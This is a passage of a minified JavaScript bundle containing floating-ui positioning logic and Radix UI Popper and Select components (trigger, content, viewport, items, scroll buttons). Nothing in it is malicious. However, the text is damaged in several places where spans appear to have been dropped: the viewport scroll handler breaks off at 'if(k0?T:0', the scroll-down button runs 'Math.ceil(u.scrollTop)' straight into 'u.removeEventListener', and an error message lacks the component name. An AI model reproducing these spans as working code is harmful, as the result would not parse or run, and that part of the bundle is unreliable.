IntersectionObserver=="function",animationFrame:u=!1}=r,h=Z0(t),f=a||i?[...h?fd(h):[],...fd(e)]:[];f.forEach(k=>{a&&k.addEventListener("scroll",n,{passive:!0}),i&&k.addEventListener("resize",n)});const m=h&&c?UF(h,n):null;let g=-1,y=null;o&&(y=new ResizeObserver(k=>{let[C]=k;C&&C.target===h&&y&&(y.unobserve(e),cancelAnimationFrame(g),g=requestAnimationFrame(()=>{var E;(E=y)==null||E.observe(e)})),n()}),h&&!u&&y.observe(h),y.observe(e));let N,w=u?Co(t):null;u&&v();function v(){const k=Co(t);w&&!YC(w,k)&&n(),w=k,N=requestAnimationFrame(v)}return n(),()=>{var k;f.forEach(C=>{a&&C.removeEventListener("scroll",n),i&&C.removeEventListener("resize",n)}),m==null||m(),(k=y)==null||k.disconnect(),y=null,u&&cancelAnimationFrame(N)}}const qF=xF,GF=yF,JF=pF,YF=vF,QF=mF,xw=fF,XF=bF,ZF=(t,e,n)=>{const r=new Map,a={platform:WF,...n},i={...a.platform,_c:r};return hF(t,e,{...a,platform:i})};var eB=typeof document<"u",tB=function(){},oh=eB?b.useLayoutEffect:tB;function cf(t,e){if(t===e)return!0;if(typeof t!=typeof e)return!1;if(typeof t=="function"&&t.toString()===e.toString())return!0;let n,r,a;if(t&&e&&typeof t=="object"){if(Array.isArray(t)){if(n=t.length,n!==e.length)return!1;for(r=n;r--!==0;)if(!cf(t[r],e[r]))return!1;return!0}if(a=Object.keys(t),n=a.length,n!==Object.keys(e).length)return!1;for(r=n;r--!==0;)if(!{}.hasOwnProperty.call(e,a[r]))return!1;for(r=n;r--!==0;){const i=a[r];if(!(i==="_owner"&&t.$$typeof)&&!cf(t[i],e[i]))return!1}return!0}return t!==t&&e!==e}function QC(t){return typeof window>"u"?1:(t.ownerDocument.defaultView||window).devicePixelRatio||1}function yw(t,e){const n=QC(t);return Math.round(e*n)/n}function vg(t){const e=b.useRef(t);return oh(()=>{e.current=t}),e}function nB(t){t===void 0&&(t={});const{placement:e="bottom",strategy:n="absolute",middleware:r=[],platform:a,elements:{reference:i,floating:o}={},transform:c=!0,whileElementsMounted:u,open:h}=t,[f,m]=b.useState({x:0,y:0,strategy:n,placement:e,middlewareData:{},isPositioned:!1}),[g,y]=b.useState(r);cf(g,r)||y(r);const[N,w]=b.useState(null),[v,k]=b.useState(null),C=b.useCallback(P=>{P!==O.current&&(O.current=P,w(P))},[]),E=b.useCallback(P=>{P!==L.current&&(L.current=P,k(P))},[]),T=i||N,I=o||v,O=b.useRef(null),L=b.useRef(null),R=b.useRef(f),D=u!=null,_=vg(u),Z=vg(a),ne=vg(h),fe=b.useCallback(()=>{if(!O.current||!L.current)return;const P={placement:e,strategy:n,middleware:g};Z.current&&(P.platform=Z.current),ZF(O.current,L.current,P).then(K=>{const V={...K,isPositioned:ne.current!==!1};xe.current&&!cf(R.current,V)&&(R.current=V,md.flushSync(()=>{m(V)}))})},[g,e,n,Z,ne]);oh(()=>{h===!1&&R.current.isPositioned&&(R.current.isPositioned=!1,m(P=>({...P,isPositioned:!1})))},[h]);const xe=b.useRef(!1);oh(()=>(xe.current=!0,()=>{xe.current=!1}),[]),oh(()=>{if(T&&(O.current=T),I&&(L.current=I),T&&I){if(_.current)return _.current(T,I,fe);fe()}},[T,I,fe,_,D]);const $=b.useMemo(()=>({reference:O,floating:L,setReference:C,setFloating:E}),[C,E]),H=b.useMemo(()=>({reference:T,floating:I}),[T,I]),oe=b.useMemo(()=>{const P={position:n,left:0,top:0};if(!H.floating)return P;const K=yw(H.floating,f.x),V=yw(H.floating,f.y);return c?{...P,transform:"translate("+K+"px, "+V+"px)",...QC(H.floating)>=1.5&&{willChange:"transform"}}:{position:n,left:K,top:V}},[n,c,H.floating,f.x,f.y]);return b.useMemo(()=>({...f,update:fe,refs:$,elements:H,floatingStyles:oe}),[f,fe,$,H,oe])}const rB=t=>{function e(n){return{}.hasOwnProperty.call(n,"current")}return{name:"arrow",options:t,fn(n){const{element:r,padding:a}=typeof t=="function"?t(n):t;return r&&e(r)?r.current!=null?xw({element:r.current,padding:a}).fn(n):{}:r?xw({element:r,padding:a}).fn(n):{}}}},sB=(t,e)=>({...qF(t),options:[t,e]}),aB=(t,e)=>({...GF(t),options:[t,e]}),iB=(t,e)=>({...XF(t),options:[t,e]}),oB=(t,e)=>({...JF(t),options:[t,e]}),lB=(t,e)=>({...YF(t),options:[t,e]}),cB=(t,e)=>({...QF(t),options:[t,e]}),dB=(t,e)=>({...rB(t),options:[t,e]});var uB="Arrow",XC=b.forwardRef((t,e)=>{const{children:n,width:r=10,height:a=5,...i}=t;return s.jsx(ht.svg,{...i,ref:e,width:r,height:a,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:t.asChild?n:s.jsx("polygon",{points:"0,0 30,0 15,10"})})});XC.displayName=uB;var hB=XC,ey="Popper",[ZC,e4]=Ei(ey),[fB,t4]=ZC(ey),n4=t=>{const{__scopePopper:e,children:n}=t,[r,a]=b.useState(null);return s.jsx(fB,{scope:e,anchor:r,onAnchorChange:a,children:n})};n4.displayName=ey;var r4="PopperAnchor",s4=b.forwardRef((t,e)=>{const{__scopePopper:n,virtualRef:r,...a}=t,i=t4(r4,n),o=b.useRef(null),c=Ct(e,o),u=b.useRef(null);return b.useEffect(()=>{const h=u.current;u.current=(r==null?void 0:r.current)||o.current,h!==u.current&&i.onAnchorChange(u.current)}),r?null:s.jsx(ht.div,{...a,ref:c})});s4.displayName=r4;var ty="PopperContent",[pB,mB]=ZC(ty),a4=b.forwardRef((t,e)=>{var re,ue,ce,ye,Re,Le;const{__scopePopper:n,side:r="bottom",sideOffset:a=0,align:i="center",alignOffset:o=0,arrowPadding:c=0,avoidCollisions:u=!0,collisionBoundary:h=[],collisionPadding:f=0,sticky:m="partial",hideWhenDetached:g=!1,updatePositionStrategy:y="optimized",onPlaced:N,...w}=t,v=t4(ty,n),[k,C]=b.useState(null),E=Ct(e,lt=>C(lt)),[T,I]=b.useState(null),O=t0(T),L=(O==null?void 0:O.width)??0,R=(O==null?void 0:O.height)??0,D=r+(i!=="center"?"-"+i:""),_=typeof f=="number"?f:{top:0,right:0,bottom:0,left:0,...f},Z=Array.isArray(h)?h:[h],ne=Z.length>0,fe={padding:_,boundary:Z.filter(xB),altBoundary:ne},{refs:xe,floatingStyles:$,placement:H,isPositioned:oe,middlewareData:P}=nB({strategy:"fixed",placement:D,whileElementsMounted:(...lt)=>KF(...lt,{animationFrame:y==="always"}),elements:{reference:v.anchor},middleware:[sB({mainAxis:a+R,alignmentAxis:o}),u&&aB({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?iB():void 0,...fe}),u&&oB({...fe}),lB({...fe,apply:({elements:lt,rects:Tt,availableWidth:ln,availableHeight:yt})=>{const{width:nn,height:In}=Tt.reference,Mt=lt.floating.style;Mt.setProperty("--radix-popper-available-width",`${ln}px`),Mt.setProperty("--radix-popper-available-height",`${yt}px`),Mt.setProperty("--radix-popper-anchor-width",`${nn}px`),Mt.setProperty("--radix-popper-anchor-height",`${In}px`)}}),T&&dB({element:T,padding:c}),yB({arrowWidth:L,arrowHeight:R}),g&&cB({strategy:"referenceHidden",...fe})]}),[K,V]=l4(H),z=bi(N);or(()=>{oe&&(z==null||z())},[oe,z]);const U=(re=P.arrow)==null?void 0:re.x,le=(ue=P.arrow)==null?void 0:ue.y,J=((ce=P.arrow)==null?void 0:ce.centerOffset)!==0,[Y,B]=b.useState();return or(()=>{k&&B(window.getComputedStyle(k).zIndex)},[k]),s.jsx("div",{ref:xe.setFloating,"data-radix-popper-content-wrapper":"",style:{...$,transform:oe?$.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:Y,"--radix-popper-transform-origin":[(ye=P.transformOrigin)==null?void 0:ye.x,(Re=P.transformOrigin)==null?void 0:Re.y].join(" "),...((Le=P.hide)==null?void 0:Le.referenceHidden)&&{visibility:"hidden",pointerEvents:"none"}},dir:t.dir,children:s.jsx(pB,{scope:n,placedSide:K,onArrowChange:I,arrowX:U,arrowY:le,shouldHideArrow:J,children:s.jsx(ht.div,{"data-side":K,"data-align":V,...w,ref:E,style:{...w.style,animation:oe?void 0:"none"}})})})});a4.displayName=ty;var i4="PopperArrow",gB={top:"bottom",right:"left",bottom:"top",left:"right"},o4=b.forwardRef(function(e,n){const{__scopePopper:r,...a}=e,i=mB(i4,r),o=gB[i.placedSide];return s.jsx("span",{ref:i.onArrowChange,style:{position:"absolute",left:i.arrowX,top:i.arrowY,[o]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[i.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[i.placedSide],visibility:i.shouldHideArrow?"hidden":void 0},children:s.jsx(hB,{...a,ref:n,style:{...a.style,display:"block"}})})});o4.displayName=i4;function xB(t){return t!==null}var yB=t=>({name:"transformOrigin",options:t,fn(e){var v,k,C;const{placement:n,rects:r,middlewareData:a}=e,o=((v=a.arrow)==null?void 0:v.centerOffset)!==0,c=o?0:t.arrowWidth,u=o?0:t.arrowHeight,[h,f]=l4(n),m={start:"0%",center:"50%",end:"100%"}[f],g=(((k=a.arrow)==null?void 0:k.x)??0)+c/2,y=(((C=a.arrow)==null?void 0:C.y)??0)+u/2;let N="",w="";return h==="bottom"?(N=o?m:`${g}px`,w=`${-u}px`):h==="top"?(N=o?m:`${g}px`,w=`${r.floating.height+u}px`):h==="right"?(N=`${-u}px`,w=o?m:`${y}px`):h==="left"&&(N=`${r.floating.width+u}px`,w=o?m:`${y}px`),{data:{x:N,y:w}}}});function l4(t){const[e,n="center"]=t.split("-");return[e,n]}var bB=n4,vB=s4,NB=a4,wB=o4,c4=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),jB="VisuallyHidden",kB=b.forwardRef((t,e)=>s.jsx(ht.span,{...t,ref:e,style:{...c4,...t.style}}));kB.displayName=jB;var SB=[" ","Enter","ArrowUp","ArrowDown"],CB=[" ","Enter"],Eo="Select",[Hf,Wf,EB]=Xx(Eo),[Vl]=Ei(Eo,[EB,e4]),Uf=e4(),[TB,Ii]=Vl(Eo),[MB,AB]=Vl(Eo),d4=t=>{const{__scopeSelect:e,children:n,open:r,defaultOpen:a,onOpenChange:i,value:o,defaultValue:c,onValueChange:u,dir:h,name:f,autoComplete:m,disabled:g,required:y,form:N}=t,w=Uf(e),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(!1),O=bf(h),[L,R]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:Eo}),[D,_]=xo({prop:o,defaultProp:c,onChange:u,caller:Eo}),Z=b.useRef(null),ne=v?N||!!v.closest("form"):!0,[fe,xe]=b.useState(new Set),$=Array.from(fe).map(H=>H.props.value).join(";");return s.jsx(bB,{...w,children:s.jsxs(TB,{required:y,scope:e,trigger:v,onTriggerChange:k,valueNode:C,onValueNodeChange:E,valueNodeHasChildren:T,onValueNodeHasChildrenChange:I,contentId:fi(),value:D,onValueChange:_,open:L,onOpenChange:R,dir:O,triggerPointerDownPosRef:Z,disabled:g,children:[s.jsx(Hf.Provider,{scope:e,children:s.jsx(MB,{scope:t.__scopeSelect,onNativeOptionAdd:b.useCallback(H=>{xe(oe=>new Set(oe).add(H))},[]),onNativeOptionRemove:b.useCallback(H=>{xe(oe=>{const P=new Set(oe);return P.delete(H),P})},[]),children:n})}),ne?s.jsxs(R4,{"aria-hidden":!0,required:y,tabIndex:-1,name:f,autoComplete:m,value:D,onChange:H=>_(H.target.value),disabled:g,form:N,children:[D===void 0?s.jsx("option",{value:""}):null,Array.from(fe)]},$):null]})})};d4.displayName=Eo;var u4="SelectTrigger",h4=b.forwardRef((t,e)=>{const{__scopeSelect:n,disabled:r=!1,...a}=t,i=Uf(n),o=Ii(u4,n),c=o.disabled||r,u=Ct(e,o.onTriggerChange),h=Wf(n),f=b.useRef("touch"),[m,g,y]=O4(w=>{const v=h().filter(E=>!E.disabled),k=v.find(E=>E.value===o.value),C=D4(v,w,k);C!==void 0&&o.onValueChange(C.value)}),N=w=>{c||(o.onOpenChange(!0),y()),w&&(o.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return s.jsx(vB,{asChild:!0,...i,children:s.jsx(ht.button,{type:"button",role:"combobox","aria-controls":o.contentId,"aria-expanded":o.open,"aria-required":o.required,"aria-autocomplete":"none",dir:o.dir,"data-state":o.open?"open":"closed",disabled:c,"data-disabled":c?"":void 0,"data-placeholder":P4(o.value)?"":void 0,...a,ref:u,onClick:ot(a.onClick,w=>{w.currentTarget.focus(),f.current!=="mouse"&&N(w)}),onPointerDown:ot(a.onPointerDown,w=>{f.current=w.pointerType;const v=w.target;v.hasPointerCapture(w.pointerId)&&v.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(N(w),w.preventDefault())}),onKeyDown:ot(a.onKeyDown,w=>{const v=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&g(w.key),!(v&&w.key===" ")&&SB.includes(w.key)&&(N(),w.preventDefault())})})})});h4.displayName=u4;var f4="SelectValue",p4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,children:i,placeholder:o="",...c}=t,u=Ii(f4,n),{onValueNodeHasChildrenChange:h}=u,f=i!==void 0,m=Ct(e,u.onValueNodeChange);return or(()=>{h(f)},[h,f]),s.jsx(ht.span,{...c,ref:m,style:{pointerEvents:"none"},children:P4(u.value)?s.jsx(s.Fragment,{children:o}):i})});p4.displayName=f4;var IB="SelectIcon",m4=b.forwardRef((t,e)=>{const{__scopeSelect:n,children:r,...a}=t;return s.jsx(ht.span,{"aria-hidden":!0,...a,ref:e,children:r||"▼"})});m4.displayName=IB;var RB="SelectPortal",g4=t=>s.jsx(qx,{asChild:!0,...t});g4.displayName=RB;var To="SelectContent",x4=b.forwardRef((t,e)=>{const n=Ii(To,t.__scopeSelect),[r,a]=b.useState();if(or(()=>{a(new DocumentFragment)},[]),!n.open){const i=r;return i?md.createPortal(s.jsx(y4,{scope:t.__scopeSelect,children:s.jsx(Hf.Slot,{scope:t.__scopeSelect,children:s.jsx("div",{children:t.children})})}),i):null}return s.jsx(b4,{...t,ref:e})});x4.displayName=To;var ws=10,[y4,Ri]=Vl(To),PB="SelectContentImpl",OB=ed("SelectContent.RemoveScroll"),b4=b.forwardRef((t,e)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:a,onEscapeKeyDown:i,onPointerDownOutside:o,side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v,...k}=t,C=Ii(To,n),[E,T]=b.useState(null),[I,O]=b.useState(null),L=Ct(e,re=>T(re)),[R,D]=b.useState(null),[_,Z]=b.useState(null),ne=Wf(n),[fe,xe]=b.useState(!1),$=b.useRef(!1);b.useEffect(()=>{if(E)return Oj(E)},[E]),Sj();const H=b.useCallback(re=>{const[ue,...ce]=ne().map(Le=>Le.ref.current),[ye]=ce.slice(-1),Re=document.activeElement;for(const Le of re)if(Le===Re||(Le==null||Le.scrollIntoView({block:"nearest"}),Le===ue&&I&&(I.scrollTop=0),Le===ye&&I&&(I.scrollTop=I.scrollHeight),Le==null||Le.focus(),document.activeElement!==Re))return},[ne,I]),oe=b.useCallback(()=>H([R,E]),[H,R,E]);b.useEffect(()=>{fe&&oe()},[fe,oe]);const{onOpenChange:P,triggerPointerDownPosRef:K}=C;b.useEffect(()=>{if(E){let re={x:0,y:0};const ue=ye=>{var Re,Le;re={x:Math.abs(Math.round(ye.pageX)-(((Re=K.current)==null?void 0:Re.x)??0)),y:Math.abs(Math.round(ye.pageY)-(((Le=K.current)==null?void 0:Le.y)??0))}},ce=ye=>{re.x<=10&&re.y<=10?ye.preventDefault():E.contains(ye.target)||P(!1),document.removeEventListener("pointermove",ue),K.current=null};return K.current!==null&&(document.addEventListener("pointermove",ue),document.addEventListener("pointerup",ce,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",ue),document.removeEventListener("pointerup",ce,{capture:!0})}}},[E,P,K]),b.useEffect(()=>{const re=()=>P(!1);return window.addEventListener("blur",re),window.addEventListener("resize",re),()=>{window.removeEventListener("blur",re),window.removeEventListener("resize",re)}},[P]);const[V,z]=O4(re=>{const ue=ne().filter(Re=>!Re.disabled),ce=ue.find(Re=>Re.ref.current===document.activeElement),ye=D4(ue,re,ce);ye&&setTimeout(()=>ye.ref.current.focus())}),U=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&(D(re),ye&&($.current=!0))},[C.value]),le=b.useCallback(()=>E==null?void 0:E.focus(),[E]),J=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&Z(re)},[C.value]),Y=r==="popper"?Ix:v4,B=Y===Ix?{side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v}:{};return s.jsx(y4,{scope:n,content:E,viewport:I,onViewportChange:O,itemRefCallback:U,selectedItem:R,onItemLeave:le,itemTextRefCallback:J,focusSelectedItem:oe,selectedItemText:_,position:r,isPositioned:fe,searchRef:V,children:s.jsx(Gx,{as:OB,allowPinchZoom:!0,children:s.jsx(Kx,{asChild:!0,trapped:C.open,onMountAutoFocus:re=>{re.preventDefault()},onUnmountAutoFocus:ot(a,re=>{var ue;(ue=C.trigger)==null||ue.focus({preventScroll:!0}),re.preventDefault()}),children:s.jsx(Ux,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:i,onPointerDownOutside:o,onFocusOutside:re=>re.preventDefault(),onDismiss:()=>C.onOpenChange(!1),children:s.jsx(Y,{role:"listbox",id:C.contentId,"data-state":C.open?"open":"closed",dir:C.dir,onContextMenu:re=>re.preventDefault(),...k,...B,onPlaced:()=>xe(!0),ref:L,style:{display:"flex",flexDirection:"column",outline:"none",...k.style},onKeyDown:ot(k.onKeyDown,re=>{const ue=re.ctrlKey||re.altKey||re.metaKey;if(re.key==="Tab"&&re.preventDefault(),!ue&&re.key.length===1&&z(re.key),["ArrowUp","ArrowDown","Home","End"].includes(re.key)){let ye=ne().filter(Re=>!Re.disabled).map(Re=>Re.ref.current);if(["ArrowUp","End"].includes(re.key)&&(ye=ye.slice().reverse()),["ArrowUp","ArrowDown"].includes(re.key)){const Re=re.target,Le=ye.indexOf(Re);ye=ye.slice(Le+1)}setTimeout(()=>H(ye)),re.preventDefault()}})})})})})})});b4.displayName=PB;var DB="SelectItemAlignedPosition",v4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onPlaced:r,...a}=t,i=Ii(To,n),o=Ri(To,n),[c,u]=b.useState(null),[h,f]=b.useState(null),m=Ct(e,L=>f(L)),g=Wf(n),y=b.useRef(!1),N=b.useRef(!0),{viewport:w,selectedItem:v,selectedItemText:k,focusSelectedItem:C}=o,E=b.useCallback(()=>{if(i.trigger&&i.valueNode&&c&&h&&w&&v&&k){const L=i.trigger.getBoundingClientRect(),R=h.getBoundingClientRect(),D=i.valueNode.getBoundingClientRect(),_=k.getBoundingClientRect();if(i.dir!=="rtl"){const Re=_.left-R.left,Le=D.left-Re,lt=L.left-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.left=nn+"px"}else{const Re=R.right-_.right,Le=window.innerWidth-D.right-Re,lt=window.innerWidth-L.right-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.right=nn+"px"}const Z=g(),ne=window.innerHeight-ws*2,fe=w.scrollHeight,xe=window.getComputedStyle(h),$=parseInt(xe.borderTopWidth,10),H=parseInt(xe.paddingTop,10),oe=parseInt(xe.borderBottomWidth,10),P=parseInt(xe.paddingBottom,10),K=$+H+fe+P+oe,V=Math.min(v.offsetHeight*5,K),z=window.getComputedStyle(w),U=parseInt(z.paddingTop,10),le=parseInt(z.paddingBottom,10),J=L.top+L.height/2-ws,Y=ne-J,B=v.offsetHeight/2,re=v.offsetTop+B,ue=$+H+re,ce=K-ue;if(ue<=J){const Re=Z.length>0&&v===Z[Z.length-1].ref.current;c.style.bottom="0px";const Le=h.clientHeight-w.offsetTop-w.offsetHeight,lt=Math.max(Y,B+(Re?le:0)+Le+oe),Tt=ue+lt;c.style.height=Tt+"px"}else{const Re=Z.length>0&&v===Z[0].ref.current;c.style.top="0px";const lt=Math.max(J,$+w.offsetTop+(Re?U:0)+B)+ce;c.style.height=lt+"px",w.scrollTop=ue-J+w.offsetTop}c.style.margin=`${ws}px 0`,c.style.minHeight=V+"px",c.style.maxHeight=ne+"px",r==null||r(),requestAnimationFrame(()=>y.current=!0)}},[g,i.trigger,i.valueNode,c,h,w,v,k,i.dir,r]);or(()=>E(),[E]);const[T,I]=b.useState();or(()=>{h&&I(window.getComputedStyle(h).zIndex)},[h]);const O=b.useCallback(L=>{L&&N.current===!0&&(E(),C==null||C(),N.current=!1)},[E,C]);return s.jsx(_B,{scope:n,contentWrapper:c,shouldExpandOnScrollRef:y,onScrollButtonChange:O,children:s.jsx("div",{ref:u,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:T},children:s.jsx(ht.div,{...a,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...a.style}})})})});v4.displayName=DB;var LB="SelectPopperPosition",Ix=b.forwardRef((t,e)=>{const{__scopeSelect:n,align:r="start",collisionPadding:a=ws,...i}=t,o=Uf(n);return s.jsx(NB,{...o,...i,ref:e,align:r,collisionPadding:a,style:{boxSizing:"border-box",...i.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});Ix.displayName=LB;var[_B,ny]=Vl(To,{}),Rx="SelectViewport",N4=b.forwardRef((t,e)=>{const{__scopeSelect:n,nonce:r,...a}=t,i=Ri(Rx,n),o=ny(Rx,n),c=Ct(e,i.onViewportChange),u=b.useRef(0);return s.jsxs(s.Fragment,{children:[s.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),s.jsx(Hf.Slot,{scope:n,children:s.jsx(ht.div,{"data-radix-select-viewport":"",role:"presentation",...a,ref:c,style:{position:"relative",flex:1,overflow:"hidden auto",...a.style},onScroll:ot(a.onScroll,h=>{const f=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:g}=o;if(g!=null&&g.current&&m){const y=Math.abs(u.current-f.scrollTop);if(y>0){const N=window.innerHeight-ws*2,w=parseFloat(m.style.minHeight),v=parseFloat(m.style.height),k=Math.max(w,v);if(k0?T:0,m.style.justifyContent="flex-end")}}}u.current=f.scrollTop})})})]})});N4.displayName=Rx;var w4="SelectGroup",[zB,$B]=Vl(w4),FB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=fi();return s.jsx(zB,{scope:n,id:a,children:s.jsx(ht.div,{role:"group","aria-labelledby":a,...r,ref:e})})});FB.displayName=w4;var j4="SelectLabel",BB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=$B(j4,n);return s.jsx(ht.div,{id:a.id,...r,ref:e})});BB.displayName=j4;var df="SelectItem",[VB,k4]=Vl(df),S4=b.forwardRef((t,e)=>{const{__scopeSelect:n,value:r,disabled:a=!1,textValue:i,...o}=t,c=Ii(df,n),u=Ri(df,n),h=c.value===r,[f,m]=b.useState(i??""),[g,y]=b.useState(!1),N=Ct(e,C=>{var E;return(E=u.itemRefCallback)==null?void 0:E.call(u,C,r,a)}),w=fi(),v=b.useRef("touch"),k=()=>{a||(c.onValueChange(r),c.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return s.jsx(VB,{scope:n,value:r,disabled:a,textId:w,isSelected:h,onItemTextChange:b.useCallback(C=>{m(E=>E||((C==null?void 0:C.textContent)??"").trim())},[]),children:s.jsx(Hf.ItemSlot,{scope:n,value:r,disabled:a,textValue:f,children:s.jsx(ht.div,{role:"option","aria-labelledby":w,"data-highlighted":g?"":void 0,"aria-selected":h&&g,"data-state":h?"checked":"unchecked","aria-disabled":a||void 0,"data-disabled":a?"":void 0,tabIndex:a?void 0:-1,...o,ref:N,onFocus:ot(o.onFocus,()=>y(!0)),onBlur:ot(o.onBlur,()=>y(!1)),onClick:ot(o.onClick,()=>{v.current!=="mouse"&&k()}),onPointerUp:ot(o.onPointerUp,()=>{v.current==="mouse"&&k()}),onPointerDown:ot(o.onPointerDown,C=>{v.current=C.pointerType}),onPointerMove:ot(o.onPointerMove,C=>{var E;v.current=C.pointerType,a?(E=u.onItemLeave)==null||E.call(u):v.current==="mouse"&&C.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ot(o.onPointerLeave,C=>{var E;C.currentTarget===document.activeElement&&((E=u.onItemLeave)==null||E.call(u))}),onKeyDown:ot(o.onKeyDown,C=>{var T;((T=u.searchRef)==null?void 0:T.current)!==""&&C.key===" "||(CB.includes(C.key)&&k(),C.key===" "&&C.preventDefault())})})})})});S4.displayName=df;var Dc="SelectItemText",C4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,...i}=t,o=Ii(Dc,n),c=Ri(Dc,n),u=k4(Dc,n),h=AB(Dc,n),[f,m]=b.useState(null),g=Ct(e,k=>m(k),u.onItemTextChange,k=>{var C;return(C=c.itemTextRefCallback)==null?void 0:C.call(c,k,u.value,u.disabled)}),y=f==null?void 0:f.textContent,N=b.useMemo(()=>s.jsx("option",{value:u.value,disabled:u.disabled,children:y},u.value),[u.disabled,u.value,y]),{onNativeOptionAdd:w,onNativeOptionRemove:v}=h;return or(()=>(w(N),()=>v(N)),[w,v,N]),s.jsxs(s.Fragment,{children:[s.jsx(ht.span,{id:u.textId,...i,ref:g}),u.isSelected&&o.valueNode&&!o.valueNodeHasChildren?md.createPortal(i.children,o.valueNode):null]})});C4.displayName=Dc;var E4="SelectItemIndicator",T4=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return k4(E4,n).isSelected?s.jsx(ht.span,{"aria-hidden":!0,...r,ref:e}):null});T4.displayName=E4;var Px="SelectScrollUpButton",M4=b.forwardRef((t,e)=>{const n=Ri(Px,t.__scopeSelect),r=ny(Px,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollTop>0;i(h)};const u=n.viewport;return c(),u.addEventListener("scroll",c),()=>u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop-u.offsetHeight)}}):null});M4.displayName=Px;var Ox="SelectScrollDownButton",A4=b.forwardRef((t,e)=>{const n=Ri(Ox,t.__scopeSelect),r=ny(Ox,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollHeight-u.clientHeight,f=Math.ceil(u.scrollTop)u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop+u.offsetHeight)}}):null});A4.displayName=Ox;var I4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onAutoScroll:r,...a}=t,i=Ri("SelectScrollButton",n),o=b.useRef(null),c=Wf(n),u=b.useCallback(()=>{o.current!==null&&(window.clearInterval(o.current),o.current=null)},[]);return b.useEffect(()=>()=>u(),[u]),or(()=>{var f;const h=c().find(m=>m.ref.current===document.activeElement);(f=h==null?void 0:h.ref.current)==null||f.scrollIntoView({block:"nearest"})},[c]),s.jsx(ht.div,{"aria-hidden":!0,...a,ref:e,style:{flexShrink:0,...a.style},onPointerDown:ot(a.onPointerDown,()=>{o.current===null&&(o.current=window.setInterval(r,50))}),onPointerMove:ot(a.onPointerMove,()=>{var h;(h=i.onItemLeave)==null||h.call(i),o.current===null&&(o.current=window.setInterval(r,50))}),onPointerLeave:ot(a.onPointerLeave,()=>{u()})})}),HB="SelectSeparator",WB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return s.jsx(ht.div,{"aria-hidden":!0,...r,ref:e})});WB.displayName=HB;var Dx="SelectArrow",UB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=Uf(n),i=Ii(Dx,n),o=Ri(Dx,n);return i.open&&o.position==="popper"?s.jsx(wB,{...a,...r,ref:e}):null});UB.displayName=Dx;var KB="SelectBubbleInput",R4=b.forwardRef(({__scopeSelect:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(r,a),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const 